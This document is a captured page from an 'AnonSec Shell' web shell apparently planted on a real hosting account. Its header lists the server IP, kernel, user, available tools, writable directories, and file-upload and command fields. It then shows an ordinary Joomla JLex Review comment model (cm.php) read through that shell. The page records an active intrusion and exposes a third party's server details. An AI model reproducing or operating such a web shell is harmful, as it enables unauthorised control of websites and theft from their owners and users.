AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/models//cm.php
<?php
/**
 * @package		JLex Review
 * @version		4.2.3
 * @copyright	Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license		GNU General Public License version 2 or later;
 * @author		www.jlexart.com
 */

defined('_JEXEC') or die;
class JLexReviewModelCm extends JModelLegacy
{
	public $limitstart = 0;

	public $limit = 20;

	public $total = 0;

	public $filters = [];

	public $sort = "cm.created DESC";

	public function getComments()
	{
		$app = JFactory::getApplication ();
		$config = JLexReviewHelperAdmin::getConfig();
		
		$query = $this->_db->getQuery(true);
		$query->select("SQL_CALC_FOUND_ROWS cm.*")
			  ->select("IF(u.id,u.name,cm.author_name) author,u.username")
			  ->from("#__jlexreview_cm cm")
			  ->leftJoin("#__jlexreview r ON cm.review_id=r.id")
			  ->select("entry.object_name AS entry_name, entry.url AS entry_url, entry.object, entry.object_id")
			  ->leftJoin("#__jlexreview_entry entry ON cm.entry_id=entry.id")
			  ->leftJoin("#__users u ON cm.created_by=u.id");
		
		$wClauses = array(
				"entry.id IS NOT NULL",
				"r.id IS NOT NULL"
			);

		// filters
		if(array_key_exists("uid", $this->filters))
		{
			$wClauses[]="cm.created_by=".$this->_db->quote($filters["uid"]);
		}

		if(array_key_exists("state", $this->filters))
		{
			$wClauses[]="cm.published=".$this->_db->quote($this->filters["state"]);
		}

		if(array_key_exists("q", $this->filters))
		{
			$wClauses[]="cm.comment LIKE " . $this->_db->quote('%'.$this->filters["q"].'%');
		}

		if(array_key_exists("review_id", $this->filters))
		{
			$wClauses[]="cm.review_id=".$this->_db->quote($this->filters["review_id"]);
		}

		if(array_key_exists("except_cm", $this->filters))
		{
			$wClauses[]="cm.id!=".$this->_db->quote($this->filters["except_cm"]);
		}

		if(array_key_exists("entry_id", $this->filters))
		{
			$wClauses[]="cm.entry_id=".$this->_db->quote($this->filters["entry_id"]);
		}

		$query->where($wClauses)
			  ->order($this->sort);
		
		$comments = $this->_db->setQuery($query, $this->limitstart, $this->limit)->loadObjectList();

		$this->total = (int) $this->_db->setQuery("SELECT FOUND_ROWS()")->loadResult();

		if(!$comments) return null;
		
		foreach($comments as $cm)
		{
			if($config->get("link_type",0)=="1")
            {
            	$up = JLexReviewHelperAdmin::getItemDetail($cm->object, $cm->object_id, $cm->entry_name, $cm->entry_url);
            	$cm->entry_name = $up->title;
            	$cm->entry_url  = $up->url;
            } else {
                $cm->entry_url 	= trim(urldecode($cm->entry_url), "/");
            	$cm->entry_url  = preg_match("/^https?:\/\//", $cm->entry_url) ? $cm->entry_url : JUri::root(true) . "/" . $cm->entry_url;
            }

			$cm->urlPreview = $cm->entry_url . (preg_match("/\?/", $cm->entry_url)?"&":"?") . "review_id=".$cm->review_id.",".$cm->id;
			$cm->urlEdit = JUri::base(true)."/index.php?option=com_jlexreview&view=cm&layout=form&id=".$cm->id;
			$cm->created = JHtml::date($cm->created, $this->_db->getDateFormat());
		}
		
		return $comments;
	}

	public function getPagaNav()
	{
		jimport('joomla.html.pagination');
		return new JPagination($this->total, $this->limitstart, $this->limit);
	}

	public $id = 0;

	public function getCm()
	{
		if($this->id<1) return null;

		$query = $this->_db->getQuery(true);
		$query->select("*")
			  ->from("#__jlexreview_cm")
			  ->where("id=".$this->_db->quote($this->id));

		$row = $this->_db->setQuery($query)->loadObject();

		return $row;
	}

	public function getForm()
	{
		$app 	= JFactory::getApplication();
		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();

		$path 	= dirname(__FILE__)."/forms/comment.xml";
		$form 	= JForm::getInstance("jreview_comment", $path, array('control' => 'jform'));

		$form->addFieldPath(dirname (__FILE__)."/fields");
		$form->addRulePath(dirname (__FILE__)."/rules");

		if($config->get("u_edit_any_comment",false)==true && $app->isClient("administrator"))
		{
			$form->loadFile(dirname(__FILE__)."/forms/comment_admin.xml");
		}

		if($user->guest)
		{
			$xml = '<form>';
				$xml.= '<fieldset name="basic">';
					$xml .= '<field type="text" name="author_name" label="JR_AUTHOR_NAME" required="true" />';
            		if($config->get("email_field",1)) $xml .= '<field type="text" name="author_email" label="JR_AUTHOR_EMAIL" required="true" />';
				$xml.= '</fieldset>';
			$xml.= '</form>';

			$form->load($xml);
		}

        return $form;
	}
	

	public function save()
	{
		$app 	= JFactory::getApplication();
		$row 	= $this->getTable("comment", "TableJR" );
		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();
		$session= JFactory::getSession();

		$query  = $this->_db->getQuery(true);
		$form 	= $this->getForm();
		$data 	= array_key_exists("jform", $_POST) ? $_POST["jform"] : array();

		$id 	= array_key_exists("id", $data) && is_numeric($data["id"]) && $data["id"]>0 ? intval($data["id"]) : 0;

		$row->load($id);
		$isNew 	= $row->id>0?false:true;

		// permission to post review
		if($isNew && $config->get("u_post_comment", true)==false)
		{
			$this->setError(JText::_("JR_PERMISSION_DENIED"));
			return false;
		}

		// disable for guest
		if(!$isNew && $user->guest)
		{
			$this->setError(JText::_("JR_PERMISSION_DENIED"));
			return false;
		}

		// permission to edit review
		if(!$isNew && $config->get("u_edit_own_comment",true)==false && $config->get("u_edit_any_comment",false)==false && $row->created_by!=$user->id)
		{
			$this->setError(JText::_("JR_PERMISSION_DENIED"));
			return false;
		}

		// adjust admin form
		if ($config->get("u_edit_any_comment",false)==true && $app->isClient("administrator"))
		{
			$user_type = array_key_exists("user_type", $data) ? $data["user_type"] : 1;
			if(!$user_type)
			{
				// make two field author_name and author_email is require.
				$form->setFieldAttribute("author_name", "required", "true");
				$form->setFieldAttribute("author_email", "required", "true");
				$form->removeField("created_by");
			} else {
				// remove these fields.
				$form->removeField("author_email");
				$form->removeField("author_name");
				$form->setFieldAttribute("created_by", "required", "true");
			}
		} else {
			if($user->guest)
			{
				$form->setFieldAttribute("author_name", "required", "true");
				$form->setFieldAttribute("author_email", "required", "true");
				$form->removeField("created_by");
			} else {
				$form->removeField("author_email");
				$form->removeField("author_name");
			}

			if(!$isNew)
			{
				$form->removeField("review_id");
				$form->removeField("reply_id");
			} else {
				$form->setFieldAttribute("review_id", "required", "true");
			}
		}

		// restriction
		if($app->isClient("site") && $config->get("u_edit_any_comment",false)==false && $isNew)
		{
			$second = (int) $config->get("between_comment_post",30)*1;
			$ip_address = JLexReviewHelperAdmin::ip_address();
			
			// time between post
			if($second>0)
			{
				$query->clear()
					  ->select("MAX(created)")
					  ->from("#__jlexreview_cm")
					  ->where($user->guest ? "ip_address=" . $this->_db->quote($ip_address) : "created_by=" . $user->id);
			
				$lastpost = $this->_db->setQuery($query)->loadResult();
				
				if($lastpost)
				{
					$delta = JFactory::getDate()->toUnix() - JFactory::getDate($lastpost)->toUnix();
					
					if($delta <= $second)
					{
						if($second<60)
	                    {
	                        $left_time = JText::plural("JR_SECONDS_COUNT", $second);
	                    } else {
	                        $left_time = JText::plural("JR_MIN_COUNT", intval($second/60));
	                    }

	                    $this->setError(JText::sprintf("JR_BETWEEN_TWO_TIMES_POST",$left_time));
	                    return false;
					}
				}
			}

			// check guest name
			if($user->guest && $config->get("check_guest_name",1)==1)
			{
				$deniedNames = explode(",", $config->def("forbidden_name",""));
				if(count($deniedNames) && in_array(strtolower(@$data["author_name"]), $deniedNames))
				{
					$this->setError(JText::_("JR_CHOOSE_ANOTHER_NAME"));
					return false;
				}
			}
		}

		try {
			$events = JLexReviewHelperAdmin::dispatcherPlugin("onBeforeSave", array(
	            &$data, $isNew,
	            "com_jlexreview.cm.save"
	        ), "checking");
		} catch(Exception $e) {
			$this->setError($e->getMessage());
			return false;
		}

		$data = $form->filter($data);
		$return = $form->validate($data);

		if($return===false)
		{
			// Get the validation messages.
			$errors = $form->getErrors();

			foreach($errors as $error)
			{
				if($error instanceof Exception)
				{
					$this->setError($error->getMessage());
				} else {
					$this->setError($error);
				}
			}

        	return false;
		}

		if(array_key_exists("review_id", $data))
		{
			$review_id = intval($data["review_id"]);
			$reviewTable = $this->getTable("Review", "TableJR");
			$reviewTable->load($review_id);

			if($reviewTable->id<1)
			{
				$this->setError(JText::_("JR_REVIEW_NOT_FOUND"));
				return false;
			}

			$data["entry_id"] = $reviewTable->entry_id;
		}

		// parent_id
		if(array_key_exists("reply_id", $data) && $data["reply_id"]>0)
		{
			$pid = intval($data["reply_id"]);
			$query->clear()
				  ->select("id, parent_id, created_by, author_email")
				  ->from("#__jlexreview_cm")
				  ->where("id=".$this->_db->quote($pid));

			$pCm = $this->_db->setQuery($query)->loadObject();

			if($pCm)
			{
				$data["parent_id"] = $pCm->parent_id<1 ? $pCm->id : $pCm->parent_id;
			} else {
				$data["reply_id"] = 0;
			}
		}

		if($config->get("u_edit_any_comment",false)==true && $app->isClient("administrator"))
		{
			if(array_key_exists("created_by", $data))
			{
				$data["author_name"] = "";
				$data["author_email"] = "";
			} else {
				$data["created_by"] = 0;
			}
		} else {
			if($isNew)
			{
				$data["created_by"] = $user->id;
				$data["published"] = $config->get("u_auto_publish_cm", true)==false?0:1;
			}
		}

		$row->bind($data);

		if(!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}

		if(!$row->store())
		{
			$this->setError("An error appear when saving.");
			return false;
		}

		JLexReviewHelperAdmin::updateCommentOfRating($row->review_id);
		JLexReviewHelperAdmin::updateUserParams($row->created_by);
		
		// user notification
		if($app->isClient("site") && $isNew==true && $config->get("user_alert", 0)==1)
		{
			$alertTable = $this->getTable("notification", "TableJR");
			$alertData  = array(
					"entry_id" 		=> $row->entry_id,
					"type_id" 		=> $row->review_id . "," . $row->id,
					"created_time" 	=> JFactory::getDate()->toSql(),
					"guest_name"	=> $row->author_name,
					"created_by"	=> $row->created_by,
					"published"		=> $row->published
				);

			if($config->get("user_alert_comment",0)==1 && !$row->reply_id && ($reviewTable->created_by>0 || (!$reviewTable->created_by && $config->get('guest_alert',0)==1)))
			{
				$alertData["action_type"] = "CM_REVIEW";
				$alertData["user_remind"] = $reviewTable->created_by;

				if(!$reviewTable->created_by)
					$alertData["user_email"]=$reviewTable->author_email;
			}

			if($config->get("user_alert_reply",0)==1 && $row->reply_id>0 && ($pCm->created_by>0 || (!$pCm->created_by && $config->get('guest_alert',0)==1)))
			{
				$alertData["action_type"] = "CM_REPLY";
				$alertData["user_remind"] = $pCm?$pCm->created_by:0;

				if(!$pCm->created_by)
					$alertData["user_email"]=$pCm->author_email;
			}

			if(($alertData["user_remind"] && $alertData["user_remind"]!=$row->created_by) || (!$alertData["user_remind"] && $alertData["user_email"]!=$row->author_email))
			{
				$alertTable->bind($alertData);
				$alertTable->store();
				$alertTable->alert();
			}
		}

		// admin notification
		if($app->isClient("site") && $config->get("admin_alert",0)==1)
		{
			$alertTable = $this->getTable("notification", "TableJR");
			$alertData  = array(
					"entry_id" 		=> $row->entry_id,
					"type_id" 		=> $row->review_id . "," . $row->id,
					"created_time" 	=> JFactory::getDate()->toSql(),
					"created_by"	=> $row->created_by,
					"guest_name"	=> $row->author_name,
					"action_type" 	=> $isNew ? "CM_ADDED" : "CM_MODIFIED"
				);

			$alertCmStatus = $config->get("admin_alert_comment","both");
			if ($alertCmStatus=="both" || ($alertCmStatus=="added" && $isNew) || ($alertCmStatus=="modified" && !$isNew))
			{
				$alertTable->bind($alertData);
				$alertTable->store();
				$alertTable->alert();
			}
		}

		try {
			$events = JLexReviewHelperAdmin::dispatcherPlugin("onAfterSave", array(
	            &$data, $isNew,
	            "com_jlexreview.cm.save"
	        ), "checking");
		} catch(Exception $e){
			$this->setError($e->getMessage());
			return false;
		}

        // clear cache
        if($config->get("cache",1)==0) JFactory::getCache()->clean();

        // end
        $session->set('jreview_cmid_passed', $row->id);

		return $row->id;
	}

	public function cmCmd($cmd)
	{
		$app = JFactory::getApplication();
		$cid = $app->getInput()->get("cid", null, "array");

		if(empty($cid) || !count($cid))
		{
			$this->setError(JText::_('JR_SELECT_ROW_TO_TASK'));
			return false;
		}

		$row = $this->getTable("Comment", "TableJR");

		foreach ($cid as $id) {
			if(!preg_match("/^[1-9][0-9]*$/", $id)) continue;

			$id = (int) $id;
			$row->load($id);

			switch($cmd)
			{
				case "publish":
				case "unpublish":
					$row->do_publish($cmd=="publish"?1:0);
					break;

				case "delete":
					$row->do_remove();
					break;
			}
		}

		return true;
	}
}

Anon7 - 2022
AnonSec Team